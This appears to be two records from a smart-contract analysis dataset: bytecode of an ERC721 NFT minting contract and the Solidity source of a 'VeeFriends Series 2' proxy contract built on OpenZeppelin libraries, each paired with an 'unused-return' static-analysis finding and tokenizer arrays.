603960f91b606482015260840161079b565b336001600160a01b038216148061096b575061096b81336106ba565b6109dd5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606482015260840161079b565b6109e78383611a72565b505050565b60006011546019546109fe9190612a7c565b4211610a445760405162461bcd60e51b8152602060048201526015602482015274135a5b9d081a5cc81b9bdd081858dd1a5d985d1959605a1b604482015260640161079b565b601954421015610ace576001600160a01b03821660009081526016602052604090205460ff161515600114610ac65760405162461bcd60e51b815260206004820152602260248201527f4f6e6c792057686974656c697374206d656d6265722063616e206d696e74206e6044820152616f7760f01b606482015260840161079b565b5050600e5490565b5050600f5490565b919050565b600a546001600160a01b0316331480610afe5750600b546001600160a01b031633145b610b1a5760405162461bcd60e51b815260040161079b9061297a565b601555565b610b293382611ae0565b610b455760405162461bcd60e51b815260040161079b906129af565b6109e7838383611bd7565b6000610b5b83610e30565b8210610bbd5760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b606482015260840161079b565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b600a546001600160a01b0316331480610c095750600b546001600160a01b031633145b610c255760405162461bcd60e51b815260040161079b9061297a565b6040514790339082156108fc029083906000818181858888f19350505050158015610c54573d6000803e3d6000fd5b5050565b6109e7838383604051806020016040528060008152506111da565b6000610c7e60085490565b8210610ce15760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b606482015260840161079b565b60088281548110610cf457610cf4612b6b565b90600052602060002001549050919050565b600a546001600160a01b0316331480610d295750600b546001600160a01b031633145b610d455760405162461bcd60e51b815260040161079b9061297a565b8051610c5490601b9060208401906123c0565b600a546001600160a01b0316331480610d7b5750600b546001600160a01b031633145b610d975760405162461bcd60e51b815260040161079b9061297a565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b6000818152600260205260408120546001600160a01b0316806107565760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b606482015260840161079b565b60006001600160a01b038216610e9b5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b606482015260840161079b565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b0316331480610eda5750600b546001600160a01b031633145b610ef65760405162461bcd60e51b815260040161079b9061297a565b600a546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600a80546001600160a01b0319169055565b600a546001600160a01b0316331480610f635750600b546001600160a01b031633145b610f7f5760405162461bcd60e51b815260040161079b9061297a565b60005b818110156109e7576000610f95601d5490565b9050600d54610fa3601d5490565b1015610fcf57610fb3601d611d82565b610fbd8482611d9f565b60008181526017602052604090204290555b5080610fda81612afa565b915050610f82565b6060600180546107be90612abf565b6001600160a01b03821633141561104a5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604482015260640161079b565b3360008181526005602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b600a546001600160a01b03163314806110d95750600b546001600160a01b031633145b6110f55760405162461bcd60e51b815260040161079b9061297a565b601055565b600a546001600160a01b031633148061111d5750600b546001600160a01b031633145b6111395760405162461bcd60e51b815260040161079b9061297a565b8051610c5490601c9060208401906123c0565b600a546001600160a01b031633148061116f5750600b546001600160a01b031633145b61118b5760405162461bcd60e51b815260040161079b9061297a565b601155565b600a546001600160a01b03163314806111b35750600b546001600160a01b031633145b6111cf5760405162461bcd60e51b815260040161079b9061297a565b601991909155601a55565b6111e43383611ae0565b6112005760405162461bcd60e51b815260040161079b906129af565b61120c84848484611db9565b50505050565b600a546001600160a01b03163314806112355750600b546001600160a01b031633145b6112515760405162461bcd60e51b815260040161079b9061297a565b601292909255601355601455565b600a546001600160a01b03163314806112825750600b546001600160a01b031633145b61129e5760405162461bcd60e51b815260040161079b9061297a565b600d55565b6000818152600260205260409020546060906001600160a01b03166113015760405162461bcd60e51b8152602060048201526014602482015273151bdad95b88191bd95cc81b9bdd08195e1a5cdd60621b604482015260640161079b565b601054600083815260176020526040902054429161131e91612a31565b10801561132c575042601a54105b1561136357601b61133c83611dec565b60405160200161134d929190612831565b6040516020818303038152906040529050919050565b601c805461137090612abf565b80601f016020809104026020016040519081016040528092919081815260200182805461139c90612abf565b80156113e95780601f106113be576101008083540402835291602001916113e9565b820191906000526020600020905b8154815290600101906020018083116113cc57829003601f168201915b50505050509050919050565b600a546001600160a01b03163314806114185750600b546001600160a01b031633145b6114345760405162461bcd60e51b815260040161079b9061297a565b60005b82518110156109e757816016600085848151811061145757611457612b6b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061149381612afa565b915050611437565b6012548111156114f85760405162461bcd60e51b815260206004820152602260248201527f43616e206f6e6c79206d696e7420757020746f207075726368617365206c696d6044820152611a5d60f21b606482015260840161079b565b600d54601d541061154b5760405162461bcd60e51b815260206004820152601f60248201527f507572636861736520776f756c642065786365656420524f5943435f4d415800604482015260640161079b565b600a546001600160a01b031633146118bf5733600090815260186020526040902054611578908290612a31565b3360008181526018602052604090209190915534908290611598906109ec565b6115a29190612a5d565b11156115f05760405162461bcd60e51b815260206004820152601c60248201527f45544820616d6f756e74206973206e6f742073756666696369656e7400000000604482015260640161079b565b3360009081526016602052604090205460ff166116b75760195442116116515760405162461bcd60e51b8152602060048201526016602482015275436f6e7472616374206973206e6f742061637469766560501b604482015260640161079b565b6014543360009081526018602052604090205411156116b25760405162461bcd60e51b815260206004820152601e60248201527f4f766572666c6f7720666f72205055424c49435f4d494e545f4c494d49540000604482015260640161079b565b611815565b60195442101561178b576011546019546116d19190612a7c565b421161172a5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206973206e6f742061637469766520666f722070726573616044820152616c6560f01b606482015260840161079b565b6013543360009081526018602052604090205411156116b25760405162461bcd60e51b815260206004820152601f60248201527f4f766572666c6f7720666f722050524553414c455f4d494e545f4c494d495400604482015260640161079b565b60135460145461179b9190612a31565b3360009081526018602052604090205411156118155760405162461bcd60e51b815260206004820152603360248201527f4f766572666c6f7720666f72205055424c49435f4d494e545f4c494d4954202b6044820152720814149154d0531157d352539517d312535255606a1b606482015260840161079b565b6015541561188457600060646015543461182f9190612a5d565b6118399190612a49565b600c549091506001600160a01b03166108fc6118558334612a7c565b6040518115909202916000818181858888f1935050505015801561187d573d6000803e3d6000fd5b50506118bf565b600c546040516001600160a01b03909116903480156108fc02916000818181858888f193505050501580156118bd573d6000803e3d6000fd5b505b60005b81811015610c545760006118d5601d5490565b9050600d546118e3601d5490565b101561190f576118f3601d611d82565b6118fd3382611d9f565b60008181526017602052604090204290555b508061191a81612afa565b9150506118c2565b600a546001600160a01b03163314806119455750600b546001600160a01b031633145b6119615760405162461bcd60e51b815260040161079b9061297a565b6001600160a01b0381166119c65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161079b565b600a546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600a80546001600160a01b0319166001600160a01b0392909216919091179055565b60006001600160e01b031982166380ac58cd60e01b1480611a5357506001600160e01b03198216635b5e139f60e01b145b8061075657506301ffc9a760e01b6001600160e01b0319831614610756565b600081815260046020526040902080546001600160a01b0319166001600160a01b0384169081179091558190611aa782610db9565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600260205260408120546001600160a01b0316611b595760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b606482015260840161079b565b6000611b6483610db9565b9050806001600160a01b0316846001600160a01b03161480611b9f5750836001600160a01b0316611b9484610841565b6001600160a01b0316145b80611bcf57506001600160a01b0380821660009081526005602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316611bea82610db9565b6001600160a01b031614611c525760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b606482015260840161079b565b6001600160a01b038216611cb45760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b606482015260840161079b565b611cbf838383611eea565b611cca600082611a72565b6001600160a01b0383166000908152600360205260408120805460019290611cf3908490612a7c565b90915550506001600160a01b0382166000908152600360205260408120805460019290611d21908490612a31565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b6001816000016000828254611d979190612a31565b909155505050565b610c54828260405180602001604052806000815250611fa2565b611dc4848484611bd7565b611dd084848484611fd5565b61120c5760405162461bcd60e51b815260040161079b90612928565b606081611e105750506040805180820190915260018152600360fc1b602082015290565b8160005b8115611e3a5780611e2481612afa565b9150611e339050600a83612a49565b9150611e14565b60008167ffffffffffffffff811115611e5557611e55612b81565b6040519080825280601f01601f191660200182016040528015611e7f576020820181803683370190505b5090505b8415611bcf57611e94600183612a7c565b9150611ea1600a86612b15565b611eac906030612a31565b60f81b818381518110611ec157611ec1612b6b565b60200101906001600160f81b031916908160001a905350611ee3600a86612a49565b9450611e83565b6001600160a01b038316611f4557611f4081600880546000838152600960205260408120829055600182018355919091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30155565b611f68565b816001600160a01b0316836001600160a01b031614611f6857611f6883826120e2565b6001600160a01b038216611f7f576109e78161217f565b826001600160a01b0316826001600160a01b0316146109e7576109e7828261222e565b611fac8383612272565b611fb96000848484611fd5565b6109e75760405162461bcd60e51b815260040161079b90612928565b60006001600160a01b0384163b156120d757604051630a85bd0160e11b81526001600160a01b0385169063150b7a02906120199033908990889088906004016128d8565b602060405180830381600087803b15801561203357600080fd5b505af1925050508015612063575060408051601f3d908101601f191682019092526120609181019061271c565b60015b6120bd573d808015612091576040519150601f19603f3d011682016040523d82523d6000602084013e612096565b606091505b5080516120b55760405162461bcd60e51b815260040161079b90612928565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611bcf565b506001949350505050565b600060016120ef84610e30565b6120f99190612a7c565b60008381526007602052604090205490915080821461214c576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b60085460009061219190600190612a7c565b600083815260096020526040812054600880549394509092849081106121b9576121b9612b6b565b9060005260206000200154905080600883815481106121da576121da612b6b565b600091825260208083209091019290925582815260099091526040808220849055858252812055600880548061221257612212612b55565b6001900381819060005260206000200160009055905550505050565b600061223983610e30565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160a01b0382166122c85760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604482015260640161079b565b6000818152600260205260409020546001600160a01b03161561232d5760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604482015260640161079b565b61233960008383611eea565b6001600160a01b0382166000908152600360205260408120805460019290612362908490612a31565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b8280546123cc90612abf565b90600052602060002090601f0160209004810192826123ee5760008555612434565b82601f1061240757805160ff1916838001178555612434565b82800160010185558215612434579182015b82811115612434578251825591602001919060010190612419565b50612440929150612444565b5090565b5b808211156124405760008155600101612445565b600067ffffffffffffffff83111561247357612473612b81565b612486601f8401601f1916602001612a00565b905082815283838301111561249a57600080fd5b828260208301376000602084830101529392505050565b80356001600160a01b0381168114610ad657600080fd5b80358015158114610ad657600080fd5b6000602082840312156124ea57600080fd5b6124f3826124b1565b9392505050565b6000806040838503121561250d57600080fd5b612516836124b1565b9150612524602084016124b1565b90509250929050565b60008060006060848603121561254257600080fd5b61254b846124b1565b9250612559602085016124b1565b9150604084013590509250925092565b6000806000806080858703121561257f57600080fd5b612588856124b1565b9350612596602086016124b1565b925060408501359150606085013567ffffffffffffffff8111156125b957600080fd5b8501601f810187136125ca57600080fd5b6125d987823560208401612459565b91505092959194509250565b600080604083850312156125f857600080fd5b612601836124b1565b9150612524602084016124c8565b6000806040838503121561262257600080fd5b61262b836124b1565b946020939093013593505050565b6000806040838503121561264c57600080fd5b823567ffffffffffffffff8082111561266457600080fd5b818501915085601f83011261267857600080fd5b813560208282111561268c5761268c612b81565b8160051b925061269d818401612a00565b8281528181019085830185870184018b10156126b857600080fd5b600096505b848710156126e2576126ce816124b1565b8352600196909601959183019183016126bd565b5096506126f290508782016124c8565b9450505050509250929050565b60006020828403121561271157600080fd5b81356124f381612b97565b60006020828403121561272e57600080fd5b81516124f381612b97565b60006020828403121561274b57600080fd5b813567ffffffffffffffff81111561276257600080fd5b8201601f8101841361277357600080fd5b611bcf84823560208401612459565b60006020828403121561279457600080fd5b5035919050565b600080604083850312156127ae57600080fd5b50508035926020909101359150565b6000806000606084860312156127d257600080fd5b505081359360208301359350604090920135919050565b60008151808452612801816020860160208601612a93565b601f01601f19169290920160200192915050565b60008151612827818560208601612a93565b9290920192915050565b600080845481600182811c91508083168061284d57607f831692505b602080841082141561286d57634e487b7160e01b86526022600452602486fd5b8180156128815760018114612892576128bf565b60ff198616895284890196506128bf565b60008b81526020902060005b868110156128b75781548b82015290850190830161289e565b505084890196505b5050505050506128cf8185612815565b95945050505050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061290b908301846127e9565b9695505050505050565b6020815260006124f360208301846127e9565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b604051601f8201601f1916810167ffffffffffffffff81118282101715612a2957612a29612b81565b604052919050565b60008219821115612a4457612a44612b29565b500190565b600082612a5857612a58612b3f565b500490565b6000816000190483118215151615612a7757612a77612b29565b500290565b600082821015612a8e57612a8e612b29565b500390565b60005b83811015612aae578181015183820152602001612a96565b8381111561120c5750506000910152565b600181811c90821680612ad357607f821691505b60208210811415612af457634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612b0e57612b0e612b29565b5060010190565b600082612b2457612b24612b3f565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114612bad57600080fd5b5056fea2646970667358221220c19b6ba05898baa2555a8b01cd2b300949ce3dd49faf20c6bae2c3227bcc31d964736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 16068, 2683, 2094, 2509, 2546, 24096, 6305, 27009, 2487, 4246, 19841, 2629, 4215, 2497, 22407, 16086, 27814, 2620, 2278, 22932, 2278, 20958, 3540, 2094, 2620, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 16048, 2629, 3115, 1010, 2004, 4225, 1999, 1996, 1008, 16770, 1024, 1013, 1013, 1041, 11514, 2015, 1012, 28855, 14820, 1012, 8917, 1013, 1041, 11514, 2015, 1013, 1041, 11514, 1011, 13913, 1031, 1041, 11514, 1033, 1012, 1008, 1008, 10408, 2545, 2064, 13520, 2490, 1997, 3206, 19706, 1010, 2029, 2064, 2059, 2022, 1008, 10861, 11998, 2011, 2500, 1006, 1063, 9413, 2278, 16048, 2629, 5403, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,626
0x9715d0a9a20a16d62e77236da45bf74c347f2b35
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: VeeFriends Series 2 /// @author: manifold.xyz import "./ERC721Creator.sol"; /////////////////////////////// // // // // // VeeFriends Series 2 // // // // // /////////////////////////////// contract VFSE2 is ERC721Creator { constructor() ERC721Creator("VeeFriends Series 2", "VFSE2") {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC721Creator is Proxy { constructor(string memory name, string memory symbol) { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a; Address.functionDelegateCall( 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a, abi.encodeWithSignature("initialize(string,string)", name, symbol) ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d7714a9ab841ba9271fccff01a436402d0fb5634adb41890846bdfb7407fdc1b64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
